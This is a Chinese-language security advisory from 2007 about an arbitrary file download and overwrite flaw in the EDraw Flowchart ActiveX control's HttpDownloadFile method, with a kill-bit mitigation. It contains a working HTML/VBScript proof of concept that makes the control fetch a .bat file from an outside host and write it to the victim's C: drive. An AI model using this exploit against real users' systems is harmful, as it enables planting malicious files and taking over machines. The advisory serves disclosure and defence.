EDraw Flowchart ActiveX控件任意文件覆盖漏洞
发布日期：2007-11-02
更新日期：2007-11-06
受影响系统：EDraw Flowchart ActiveX 2.0.2005.1104
描述：
BUGTRAQ ID:
26308
EDraw Flowchart是EDraw Office查看器组件中的流程图工具。
Flowchart所带的ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞控制用户系统。
Flowchart工具所安装的EDIMAGE.EDImageCtrl.1 ActiveX控件（EDImage.ocx）没有安全地处理对HttpDownloadFile()方式的输入，如果用户受骗访问了恶意网页并向该方式传送了恶意参数的话，就可能导致向用户系统上的任意位置下载任意文件。
<*来源：shinnai （
shinnai@autistici.org）
链接：
http://secunia.com/advisories/27462/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<object classid='clsid:F685AFD8-A5CC-410E-98E4-BAA1C559BA61' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
On Error Resume Next
test.HttpDownloadFile "
http://www.shinnai.altervista.org/shinnai.bat", "c:\shinnai.bat"
MsgBox("Exploit completed!")
End Sub
</script>
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 为clsid F685AFD8-A5CC-410E-98E4-BAA1C559BA61设置kill bit。
厂商补丁：
EDraw
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.anydraw.com/Flow_Diagrams_Software.htm浏览次数：2618
严重程度：0（网友投票）
